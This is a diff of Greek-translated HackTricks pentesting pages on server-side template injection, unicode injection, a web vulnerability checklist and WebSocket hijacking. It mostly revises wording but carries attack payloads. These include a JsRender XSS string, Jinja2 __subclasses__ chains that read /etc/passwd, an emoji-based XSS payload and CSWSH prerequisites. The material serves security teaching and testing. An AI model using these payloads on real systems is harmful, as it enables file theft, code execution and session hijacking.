EL**: {{#ref}} el-expression-language.md @@ -666,16 +668,16 @@ URLencoded: ### JsRender (NodeJS) -| **Πρότυπο** | **Περιγραφή** | +| **Template** | **Περιγραφή** | | ------------ | --------------------------------------- | -| | Αξιολόγηση και απόδοση εξόδου | -| | Αξιολόγηση και απόδοση HTML κωδικοποιημένου εξόδου | -| | Σχόλιο | -| και | Επιτρέπεται ο κώδικας (απενεργοποιημένο από προεπιλογή) | +| | Evaluate and render output | +| | Evaluate and render HTML encoded output | +| | Comment | +| and | Allow code (disabled by default) | - \= 49 -**Πλευρά Πελάτη** +**Client Side** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` @@ -779,6 +781,7 @@ range.constructor( Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με **παράκαμψη εκτέλεσης αυθαίρετων εντολών σε sandbox** στην python: + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} @@ -814,7 +817,7 @@ range.constructor( [Επίσημη ιστοσελίδα](http://jinja.pocoo.org) -> Το Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελεστική περιβάλλον sandbox, είναι ευρέως χρησιμοποιούμενη και άδεια BSD. +> Jinja2 είναι μια πλήρως λειτουργική μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελεστική περιβάλλον sandbox, είναι ευρέως χρησιμοποιούμενη και άδεια BSD. - `{{7*7}} = Error` - `${7*7} = ${7*7}` @@ -869,6 +872,7 @@ range.constructor( ``` **Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja**: + {{#ref}} jinja2-ssti.md {{#endref}} @@ -900,7 +904,7 @@ ${x} - `@(2+2) <= Επιτυχία` - `@() <= Επιτυχία` - `@("{{code}}") <= Επιτυχία` -- `@ <=Επιτυχία` +- `@ <= Επιτυχία` - `@{} <= ΣΦΑΛΜΑ!` - `@{ <= ΣΦΑΛΜΑ!` - `@(1+2)` @@ -989,7 +993,7 @@ return string(out) ### Περισσότερες Εκμεταλλεύσεις -Δείτε το υπόλοιπο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με τις ετικέτες στο [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) +Δείτε το υπόλοιπο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες για ετικέτες στο [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index 83e47bd9f..875269eb8 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -23,7 +23,7 @@ app.run() ### **Δήλωση Εντοπισμού Σφαλμάτων** -Αν η Επέκταση Εντοπισμού Σφαλμάτων είναι ενεργοποιημένη, μια ετικέτα `debug` θα είναι διαθέσιμη για να εκτυπώσει το τρέχον πλαίσιο καθώς και τους διαθέσιμους φίλτρους και δοκιμές. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο προς χρήση στο πρότυπο χωρίς να ρυθμίσετε έναν εντοπιστή σφαλμάτων. +Εάν η Επέκταση Εντοπισμού Σφαλμάτων είναι ενεργοποιημένη, μια ετικέτα `debug` θα είναι διαθέσιμη για να εκτυπώσει το τρέχον πλαίσιο καθώς και τους διαθέσιμους φίλτρους και δοκιμές. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο προς χρήση στο πρότυπο χωρίς να ρυθμίσετε έναν εντοπιστή σφαλμάτων. ```python
 
@@ -40,7 +40,7 @@ app.run()
 
 
``` -### **Εκχύση όλων των μεταβλητών ρυθμίσεων** +### **Εκτύπωση όλων των μεταβλητών ρύθμισης** ```python {{ config }} #In these object you can find all the configured env variables @@ -126,11 +126,11 @@ dict.__mro__[-1] ``` ### RCE Escaping -**Αφού ανακτήσαμε** `` και καλέσαμε `__subclasses__`, μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα. +**Έχοντας ανακτήσει** `` και καλέσει `__subclasses__`, μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα. Η κλήση στο `__subclasses__` μας έχει δώσει την ευκαιρία να **έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις**, θα είμαστε ευχαριστημένοι απλά με την πρόσβαση στην **κλάση αρχείου** για **ανάγνωση/γραφή αρχείων** ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που **επιτρέπει την εκτέλεση εντολών** (όπως το `os`). -**Read/Write remote file** +**Διαβάστε/Γράψτε απομακρυσμένο αρχείο** ```python # ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} @@ -208,7 +208,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi **Αποφυγή κωδικοποίησης HTML** -Από προεπιλογή, το Flask κωδικοποιεί HTML όλα τα μέσα σε ένα πρότυπο για λόγους ασφαλείας: +Από προεπιλογή, το Flask κωδικοποιεί HTML όλα τα στοιχεία μέσα σε ένα πρότυπο για λόγους ασφαλείας: ```python {{''}} #will be diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md index 832fde0f8..60e263ae1 100644 --- a/src/pentesting-web/unicode-injection/README.md +++ b/src/pentesting-web/unicode-injection/README.md @@ -8,9 +8,9 @@ ## Κανονικοποίηση Unicode -Η κανονικοποίηση Unicode συμβαίνει όταν οι **χαρακτήρες unicode κανονικοποιούνται σε χαρακτήρες ascii**. +Η κανονικοποίηση Unicode συμβαίνει όταν **οι χαρακτήρες unicode κανονικοποιούνται σε χαρακτήρες ascii**. -Ένα κοινό σενάριο αυτού του τύπου ευπάθειας συμβαίνει όταν το σύστημα **τροποποιεί** με κάποιο τρόπο την **είσοδο** του χρήστη **μετά την επαλήθευσή της**. Για παράδειγμα, σε ορισμένες γλώσσες μια απλή κλήση για να γίνει η **είσοδος κεφαλαία ή πεζά** θα μπορούσε να κανονικοποιήσει την δεδομένη είσοδο και οι **unicode θα μετατραπούν σε ASCII** δημιουργώντας νέους χαρακτήρες.\ +Ένα κοινό σενάριο αυτού του τύπου ευπάθειας συμβαίνει όταν το σύστημα **τροποποιεί** με κάποιο τρόπο την **είσοδο** του χρήστη **μετά την επαλήθευσή της**. Για παράδειγμα, σε ορισμένες γλώσσες μια απλή κλήση για να γίνει η **είσοδος κεφαλαία ή πεζά** θα μπορούσε να κανονικοποιήσει την δεδομένη είσοδο και το **unicode θα μετατραπεί σε ASCII** δημιουργώντας νέους χαρακτήρες.\ Για περισσότερες πληροφορίες δείτε: {{#ref}} @@ -19,8 +19,8 @@ unicode-normalization.md ## `\u` σε `%` -Οι χαρακτήρες Unicode συνήθως αναπαρίστανται με το **πρόθεμα `\u`**. Για παράδειγμα, ο χαρακτήρας `㱋` είναι `\u3c4b`([δείτε το εδώ](https://unicode-explorer.com/c/3c4B)). Εάν ένα backend **μετασχηματίσει** το πρόθεμα **`\u` σε `%`**, η προκύπτουσα συμβολοσειρά θα είναι `%3c4b`, η οποία αποκωδικοποιημένη URL είναι: **`<4b`**. Και, όπως μπορείτε να δείτε, ένας **χαρακτήρας `<` έχει εισαχθεί**.\ -Μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να **εισάγετε οποιονδήποτε τύπο χαρακτήρα** αν το backend είναι ευάλωτο.\ +Οι χαρακτήρες Unicode συνήθως αναπαρίστανται με το **πρόθεμα `\u`**. Για παράδειγμα, ο χαρακτήρας `㱋` είναι `\u3c4b`([ελέγξτε το εδώ](https://unicode-explorer.com/c/3c4B)). Εάν ένα backend **μετασχηματίσει** το πρόθεμα **`\u` σε `%`**, η προκύπτουσα συμβολοσειρά θα είναι `%3c4b`, η οποία αποκωδικοποιημένη URL είναι: **`<4b`**. Και, όπως μπορείτε να δείτε, ένας **χαρακτήρας `<` έχει εισαχθεί**.\ +Μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να **εισάγετε οποιονδήποτε τύπο χαρακτήρα** εάν το backend είναι ευάλωτο.\ Δείτε [https://unicode-explorer.com/](https://unicode-explorer.com/) για να βρείτε τους χαρακτήρες που χρειάζεστε. Αυτή η ευπάθεια προέρχεται από μια ευπάθεια που βρήκε ένας ερευνητής, για μια πιο λεπτομερή εξήγηση δείτε [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) @@ -30,7 +30,7 @@ unicode-normalization.md Τα back-ends συμπεριφέρονται περίεργα όταν **λαμβάνουν emojis**. Αυτό συνέβη σε [**αυτή την αναφορά**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) όπου ο ερευνητής κατάφερε να επιτύχει ένα XSS με ένα payload όπως: `💋img src=x onerror=alert(document.domain)//💛` Σε αυτή την περίπτωση, το σφάλμα ήταν ότι ο διακομιστής μετά την αφαίρεση των κακόβουλων χαρακτήρων **μετέτρεψε τη συμβολοσειρά UTF-8 από Windows-1252 σε UTF-8** (βασικά η κωδικοποίηση εισόδου και η μετατροπή από κωδικοποίηση δεν ταίριαζαν). Έτσι, αυτό δεν δίνει ένα σωστό < αλλά έναν περίεργο unicode: `‹`\ -``Έτσι πήραν αυτή την έξοδο και **μετέτρεψαν ξανά τώρα από UTF-8 σε ASCII**. Αυτό **κανονικοποίησε** το `‹` σε `<` έτσι ώστε η εκμετάλλευση να μπορούσε να λειτουργήσει σε αυτό το σύστημα.\ +``Έτσι, πήραν αυτή την έξοδο και **μετέτρεψαν ξανά τώρα από UTF-8 σε ASCII**. Αυτό **κανονικοποίησε** το `‹` σε `<` έτσι ώστε η εκμετάλλευση να μπορούσε να λειτουργήσει σε αυτό το σύστημα.\ Αυτό είναι που συνέβη: ```php [!TIP] -> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **διαμεσολαβητών**, οι οποίοι μπορεί να (κατα)χρησιμοποιηθούν για την εκμετάλλευση ευπαθειών. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο διαμεσολαβητή για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend. +> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **διαμεσολαβητών**, οι οποίοι μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο διαμεσολαβητή για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend. - [ ] [**Κατάχρηση hop-by-hop headers**](abusing-hop-by-hop-headers.md) - [ ] [**Δηλητηρίαση Cache/Απάτη Cache**](cache-deception/index.html) @@ -52,7 +52,7 @@ pocs-and-polygloths-cheatsheet/ ### **Λειτουργίες Αναζήτησης** -Αν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποια δεδομένα στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα. +Αν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποιο είδος δεδομένων στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα. - [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html) - [ ] [**NoSQL Injection**](nosql-injection.md) @@ -78,9 +78,9 @@ pocs-and-polygloths-cheatsheet/ - [ ] [**Hacking Cookies**](hacking-with-cookies/index.html) - [ ] [**CORS - Κακή Διαμόρφωση & Παράκαμψη**](cors-bypass.md) -### **Παράκαμψη** +### **Παράκαμψεις** -Υπάρχουν πολλές συγκεκριμένες λειτουργίες όπου κάποιες λύσεις μπορεί να είναι χρήσιμες για να τις παρακάμψετε. +Υπάρχουν πολλές συγκεκριμένες λειτουργίες όπου κάποιες λύσεις μπορεί να είναι χρήσιμες για να τις παρακάμψουν. - [ ] [**Παράκαμψη 2FA/OTP**](2fa-bypass.md) - [ ] [**Παράκαμψη Διαδικασίας Πληρωμής**](bypass-payment-process.md) @@ -93,11 +93,11 @@ pocs-and-polygloths-cheatsheet/ ### **Δομημένα αντικείμενα / Συγκεκριμένες λειτουργίες** -Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικό αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\ +Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικό αντικείμενο σειριοποίησης ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\ Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως Εισαγωγές Header Email). - [ ] [**Deserialization**](deserialization/index.html) -- [ ] [**Email Header Injection**](email-injections.md) +- [ ] [**Εισαγωγή Header Email**](email-injections.md) - [ ] [**Ευπάθειες JWT**](hacking-jwt-json-web-tokens.md) - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md) - [ ] [**Επιθέσεις GraphQL**](../network-services-pentesting/pentesting-web/graphql.md) @@ -109,9 +109,9 @@ pocs-and-polygloths-cheatsheet/ Λειτουργίες που δημιουργούν αρχεία περιλαμβάνοντας είσοδο χρήστη μπορεί να εκτελούν απροσδόκητο κώδικα.\ Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή αυτόματα δημιουργημένα περιλαμβάνοντας είσοδο χρήστη μπορεί να διακυβεύονται. -- [ ] [**File Upload**](file-upload/index.html) -- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md) -- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md) +- [ ] [**Αποστολή Αρχείου**](file-upload/index.html) +- [ ] [**Εισαγωγή Συνταγής**](formula-csv-doc-latex-ghostscript-injection.md) +- [ ] [**Εισαγωγή PDF**](xss-cross-site-scripting/pdf-injection.md) - [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) ### **Διαχείριση Εξωτερικής Ταυτότητας** @@ -125,7 +125,7 @@ pocs-and-polygloths-cheatsheet/ - [ ] [**Κατάληψη Domain/Subdomain**](domain-subdomain-takeover.md) - [ ] [**IDOR**](idor.md) -- [ ] [**Parameter Pollution**](parameter-pollution.md) +- [ ] [**Ρύπανση Παραμέτρων**](parameter-pollution.md) - [ ] [**Ευπάθεια Κανονικοποίησης Unicode**](unicode-injection/index.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md index f3cb1c634..0b663ca8c 100644 --- a/src/pentesting-web/web-vulnerabilities-methodology/README.md +++ b/src/pentesting-web/web-vulnerabilities-methodology/README.md @@ -6,8 +6,8 @@ ## Proxies -> [!NOTE] -> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίοι μπορεί να (κατα)χρησιμοποιηθούν για την εκμετάλλευση ευπαθειών. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend. +> [!TIP] +> Σήμερα, οι **web** **εφαρμογές** συνήθως **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για την εκμετάλλευση ευπαθειών. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend. - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md) - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md) @@ -20,8 +20,8 @@ ## **User input** -> [!NOTE] -> Οι περισσότερες από τις ιστοσελίδες θα **επιτρέπουν στους χρήστες να εισάγουν κάποια δεδομένα που θα επεξεργαστούν αργότερα.**\ +> [!TIP] +> Οι περισσότερες από τις web εφαρμογές θα **επιτρέπουν στους χρήστες να εισάγουν κάποια δεδομένα που θα επεξεργαστούν αργότερα.**\ > Ανάλογα με τη δομή των δεδομένων που περιμένει ο διακομιστής, κάποιες ευπάθειες μπορεί να ισχύουν ή όχι. ### **Reflected Values** @@ -46,6 +46,7 @@ Ορισμένες από τις αναφερόμενες ευπάθειες απαιτούν ειδικές συνθήκες, άλλες απαιτούν απλώς το περιεχόμενο να ανακλάται. Μπορείτε να βρείτε μερικούς ενδιαφέροντες πολυγλώσσους για να δοκιμάσετε γρήγορα τις ευπάθειες σε: + {{#ref}} ../pocs-and-polygloths-cheatsheet/ {{#endref}} @@ -71,7 +72,7 @@ ### **HTTP Headers** -Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή, κάποιες ευπάθειες μπορεί να είναι παρούσες. +Ανάλογα με τους HTTP headers που παρέχονται από τον web server, κάποιες ευπάθειες μπορεί να είναι παρούσες. - [ ] [**Clickjacking**](../clickjacking.md) - [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html) @@ -93,8 +94,8 @@ ### **Structured objects / Specific functionalities** -Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε μια πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικά σειριοποιημένο αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\ -Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως οι Εισαγωγές Επικεφαλίδας Email). +Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσάριο serialized αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\ +Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως Email Header Injections). - [ ] [**Deserialization**](../deserialization/index.html) - [ ] [**Email Header Injection**](../email-injections.md) diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index b11cbbfad..0cd262b33 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -4,17 +4,17 @@ ## Τι είναι τα WebSockets -Οι συνδέσεις WebSocket καθορίζονται μέσω μιας αρχικής **HTTP** χειραψίας και έχουν σχεδιαστεί να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων. +Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και είναι σχεδιασμένες να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων. ### Δημιουργία Συνδέσεων WebSocket -Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς πελάτη όπως φαίνεται παρακάτω: +Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς του πελάτη όπως φαίνεται παρακάτω: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` -Το πρωτόκολλο `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδηλώνει μια **μη ασφαλή** σύνδεση. +Το πρωτόκολλο `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδεικνύει μια **μη ασφαλή** σύνδεση. -Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία της χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα: +Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα: Το πρόγραμμα περιήγησης στέλνει ένα αίτημα χειραψίας: ```javascript @@ -63,16 +63,16 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` ### Websockets enumeration -Μπορείτε να χρησιμοποιήσετε το **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές** **ευπάθειες** αυτόματα σε websockets. +Μπορείτε να χρησιμοποιήσετε το **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές** **ευπάθειες** στα websockets αυτόματα. ### Websocket Debug tools -- **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία. +- Το **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία. - Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **επέκταση του Burp Suite** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το **ιστορικό**, ρυθμίζοντας **κανόνες παρεμβολής**, χρησιμοποιώντας **κανόνες αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας **Intruder** και **AutoRepeater.** -- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για το "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή. +- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή. - [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση **εισερχόμενων μηνυμάτων websocket και αποστολής νέων**, με ένα εύχρηστο πλαίσιο για **αυτοματοποίηση** αυτής της επικοινωνίας. -- [**https://websocketking.com/**](https://websocketking.com/) είναι μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets**. -- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets.** +- [**https://websocketking.com/**](https://websocketking.com/) είναι ένα **web για επικοινωνία** με άλλα webs χρησιμοποιώντας **websockets**. +- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει ένα **web για επικοινωνία** με άλλα webs χρησιμοποιώντας **websockets.** ## Decrypting Websocket @@ -81,7 +81,11 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ## Websocket Lab -Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε μια ιστοσελίδα χρησιμοποιώντας websockets και σε [**αυτή την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση. +Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε ένα web χρησιμοποιώντας websockets και σε [**αυτή την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση. + +## Websocket Fuzzing + +Η επέκταση burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) τώρα επιτρέπει επίσης την fuzzing των μηνυμάτων WebSocket. Μπορείτε να διαβάσετε περισσότερες πληροφορίες γι' αυτό [**εδώ**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner). ## Cross-site WebSocket hijacking (CSWSH) @@ -89,11 +93,21 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό φιλοξενώντας μια **κακόβουλη ιστοσελίδα** που ξεκινά μια διασυνοριακή σύνδεση WebSocket σε μια ευάλωτη εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης συνεδριών. +Για να λειτουργήσει αυτή η επίθεση, αυτές είναι οι απαιτήσεις: + +- Η **αυθεντικοποίηση websocket πρέπει να βασίζεται σε cookie** +- Το cookie πρέπει να είναι προσβάσιμο από τον διακομιστή των επιτιθέμενων (αυτό συνήθως σημαίνει **`SameSite=None`**) και να μην είναι ενεργοποιημένη η **Firefox Total Cookie Protection** στο Firefox και να μην υπάρχουν **μπλοκαρισμένα τρίτα cookies** στο Chrome. +- Ο διακομιστής websocket δεν πρέπει να ελέγχει την προέλευση της σύνδεσης (ή αυτό πρέπει να είναι παρακάμψιμο) + +Επίσης: + +- Εάν η αυθεντικοποίηση βασίζεται σε τοπική σύνδεση (σε localhost ή σε τοπικό δίκτυο) η επίθεση **θα είναι δυνατή** καθώς καμία τρέχουσα προστασία δεν το απαγορεύει (ελέγξτε [περισσότερες πληροφορίες εδώ](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) + ### Simple Attack -Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση, το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **websocket** **συνεδρία του με βάση το αποσταλμένο cookie**. +Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση το **cookie** **αποστέλλεται** στον διακομιστή. Ο 